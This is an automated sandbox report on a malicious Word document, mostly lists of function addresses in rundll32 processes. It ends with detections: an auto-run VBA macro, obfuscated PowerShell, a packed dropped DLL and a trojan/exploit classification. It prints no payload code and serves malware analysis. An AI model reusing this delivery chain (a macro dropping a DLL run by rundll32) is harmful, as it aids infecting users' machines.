Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C1773		9_2_001C1773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BC769		9_2_001BC769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C0B68		9_2_001C0B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B7998		9_2_001B7998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B6D9F		9_2_001B6D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B839D		9_2_001B839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C878F		9_2_001C878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BF98C		9_2_001BF98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C9586		9_2_001C9586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C61B8		9_2_001C61B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C6DB9		9_2_001C6DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C73AC		9_2_001C73AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B17AC		9_2_001B17AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B69A0		9_2_001B69A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C1BDF		9_2_001C1BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001B9FDC		9_2_001B9FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BD7EB		9_2_001BD7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C71EF		9_2_001C71EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C67E9		9_2_001C67E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C3FE7		9_2_001C3FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001C31E2		9_2_001C31E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EB41F		10_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EEE78		10_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E2C63		10_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F3895		10_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E568E		10_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F42DA		10_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EC0C6		10_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F02C3		10_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E8736		10_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F4B41		10_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E7B63		10_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F63C1		10_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F7A0F		10_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F340A		10_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E9A37		10_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E4A35		10_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E2A30		10_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EE05A		10_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EEA4C		10_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EF444		10_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F687F		10_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F5A61		10_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F889D		10_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E1280		10_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E48BD		10_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E80BA		10_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E60B9		10_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001FA0AF		10_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E62A3		10_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F8ADC		10_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E96CD		10_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F20C5		10_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E1CFA		10_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F26F5		10_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E88E5		10_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F12E2		10_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F7F1F		10_2_001F7F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F5D1D		10_2_001F5D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F8D1C		10_2_001F8D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F511B		10_2_001F511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F2B16		10_2_001F2B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EB112		10_2_001EB112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F0F0C		10_2_001F0F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F7D03		10_2_001F7D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E153C		10_2_001E153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EBB3A		10_2_001EBB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EF536		10_2_001EF536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F0D33		10_2_001F0D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EB75F		10_2_001EB75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E6754		10_2_001E6754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F2349		10_2_001F2349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F8F49		10_2_001F8F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F9B45		10_2_001F9B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E8F78		10_2_001E8F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E5B79		10_2_001E5B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EE377		10_2_001EE377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F1773		10_2_001F1773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EC769		10_2_001EC769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F0B68		10_2_001F0B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E6D9F		10_2_001E6D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E839D		10_2_001E839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E7998		10_2_001E7998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F878F		10_2_001F878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EF98C		10_2_001EF98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F9586		10_2_001F9586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F6DB9		10_2_001F6DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F61B8		10_2_001F61B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E17AC		10_2_001E17AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F73AC		10_2_001F73AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E69A0		10_2_001E69A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F1BDF		10_2_001F1BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001E9FDC		10_2_001E9FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F71EF		10_2_001F71EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001ED7EB		10_2_001ED7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F67E9		10_2_001F67E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F3FE7		10_2_001F3FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001F31E2		10_2_001F31E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020B41F		11_2_0020B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00202C63		11_2_00202C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020EE78		11_2_0020EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020568E		11_2_0020568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00213895		11_2_00213895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002102C3		11_2_002102C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020C0C6		11_2_0020C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002142DA		11_2_002142DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00208736		11_2_00208736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00207B63		11_2_00207B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00214B41		11_2_00214B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002163C1		11_2_002163C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00202A30		11_2_00202A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00204A35		11_2_00204A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00209A37		11_2_00209A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021340A		11_2_0021340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00217A0F		11_2_00217A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00215A61		11_2_00215A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021687F		11_2_0021687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020F444		11_2_0020F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020EA4C		11_2_0020EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020E05A		11_2_0020E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002062A3		11_2_002062A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021A0AF		11_2_0021A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002060B9		11_2_002060B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002080BA		11_2_002080BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002048BD		11_2_002048BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00201280		11_2_00201280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021889D		11_2_0021889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002112E2		11_2_002112E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002088E5		11_2_002088E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002126F5		11_2_002126F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00201CFA		11_2_00201CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002120C5		11_2_002120C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002096CD		11_2_002096CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00218ADC		11_2_00218ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00210D33		11_2_00210D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020F536		11_2_0020F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020BB3A		11_2_0020BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020153C		11_2_0020153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00217D03		11_2_00217D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00210F0C		11_2_00210F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020B112		11_2_0020B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00212B16		11_2_00212B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021511B		11_2_0021511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00215D1D		11_2_00215D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00218D1C		11_2_00218D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00217F1F		11_2_00217F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020C769		11_2_0020C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00210B68		11_2_00210B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00211773		11_2_00211773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020E377		11_2_0020E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00208F78		11_2_00208F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00205B79		11_2_00205B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00219B45		11_2_00219B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00212349		11_2_00212349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00218F49		11_2_00218F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00206754		11_2_00206754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020B75F		11_2_0020B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002069A0		11_2_002069A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002017AC		11_2_002017AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002173AC		11_2_002173AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00216DB9		11_2_00216DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002161B8		11_2_002161B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00219586		11_2_00219586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020F98C		11_2_0020F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0021878F		11_2_0021878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00207998		11_2_00207998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020839D		11_2_0020839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00206D9F		11_2_00206D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002131E2		11_2_002131E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00213FE7		11_2_00213FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002167E9		11_2_002167E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020D7EB		11_2_0020D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002171EF		11_2_002171EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00209FDC		11_2_00209FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_00211BDF		11_2_00211BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071EE78		12_2_0071EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00712C63		12_2_00712C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071B41F		12_2_0071B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007242DA		12_2_007242DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007202C3		12_2_007202C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071C0C6		12_2_0071C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00723895		12_2_00723895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071568E		12_2_0071568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00717B63		12_2_00717B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00724B41		12_2_00724B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00718736		12_2_00718736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007263C1		12_2_007263C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072687F		12_2_0072687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00725A61		12_2_00725A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071E05A		12_2_0071E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071F444		12_2_0071F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071EA4C		12_2_0071EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00712A30		12_2_00712A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00714A35		12_2_00714A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00719A37		12_2_00719A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072340A		12_2_0072340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00727A0F		12_2_00727A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007226F5		12_2_007226F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00711CFA		12_2_00711CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007212E2		12_2_007212E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007188E5		12_2_007188E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00728ADC		12_2_00728ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007220C5		12_2_007220C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007196CD		12_2_007196CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007160B9		12_2_007160B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007180BA		12_2_007180BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007148BD		12_2_007148BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007162A3		12_2_007162A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072A0AF		12_2_0072A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072889D		12_2_0072889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00711280		12_2_00711280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00721773		12_2_00721773
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071E377		12_2_0071E377
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00715B79		12_2_00715B79
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00718F78		12_2_00718F78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071C769		12_2_0071C769
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00720B68		12_2_00720B68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00716754		12_2_00716754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071B75F		12_2_0071B75F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00729B45		12_2_00729B45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00722349		12_2_00722349
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00728F49		12_2_00728F49
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00720D33		12_2_00720D33
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071F536		12_2_0071F536
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071BB3A		12_2_0071BB3A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071153C		12_2_0071153C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071B112		12_2_0071B112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00722B16		12_2_00722B16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072511B		12_2_0072511B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00727F1F		12_2_00727F1F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00728D1C		12_2_00728D1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00725D1D		12_2_00725D1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00727D03		12_2_00727D03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00720F0C		12_2_00720F0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007231E2		12_2_007231E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00723FE7		12_2_00723FE7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071D7EB		12_2_0071D7EB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007267E9		12_2_007267E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007271EF		12_2_007271EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00721BDF		12_2_00721BDF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00719FDC		12_2_00719FDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007261B8		12_2_007261B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00726DB9		12_2_00726DB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007169A0		12_2_007169A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007117AC		12_2_007117AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_007273AC		12_2_007273AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00717998		12_2_00717998
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071839D		12_2_0071839D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00716D9F		12_2_00716D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_00729586		12_2_00729586
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0072878F		12_2_0072878F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071F98C		12_2_0071F98C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024B41F		13_2_0024B41F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00242C63		13_2_00242C63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024EE78		13_2_0024EE78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024568E		13_2_0024568E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00253895		13_2_00253895
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024C0C6		13_2_0024C0C6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002502C3		13_2_002502C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002542DA		13_2_002542DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00248736		13_2_00248736
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00247B63		13_2_00247B63
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00254B41		13_2_00254B41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002563C1		13_2_002563C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00244A35		13_2_00244A35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00249A37		13_2_00249A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00242A30		13_2_00242A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00257A0F		13_2_00257A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0025340A		13_2_0025340A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00255A61		13_2_00255A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0025687F		13_2_0025687F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024F444		13_2_0024F444
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024EA4C		13_2_0024EA4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024E05A		13_2_0024E05A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002462A3		13_2_002462A3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0025A0AF		13_2_0025A0AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002448BD		13_2_002448BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002460B9		13_2_002460B9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002480BA		13_2_002480BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00241280		13_2_00241280
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0025889D		13_2_0025889D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002488E5		13_2_002488E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002512E2		13_2_002512E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002526F5		13_2_002526F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00241CFA		13_2_00241CFA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002520C5		13_2_002520C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_002496CD		13_2_002496CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00258ADC		13_2_00258ADC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024F536		13_2_0024F536

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: Datos-2021-4-377562.doc	OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation	OLE, VBA macro: Module Wm_t404p8v_, Function Document_open			Name: Document_open

Document contains embedded VBA macros

Source: Datos-2021-4-377562.doc

OLE indicator, VBA macros: true

Yara signature match

Source: 00000005.00000002.2083651772.0000000001C26000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2083553999.0000000000366000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =

PE file has section (not .text) which is very likely to contain packed code (zlib compression ratio < 0.011)

Source: O_5Z.dll.5.dr

Static PE information: Section: .rsrc ZLIB complexity 0.994955920298

Binary contains paths to development resources

Source: rundll32.exe, 00000006.00000002.2088631606.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2085697650.0000000001D30000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2087075723.0000000001F00000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2088709624.0000000001F10000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Classification label

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@30/8@1/2

Contains functionality to enum processes or threads

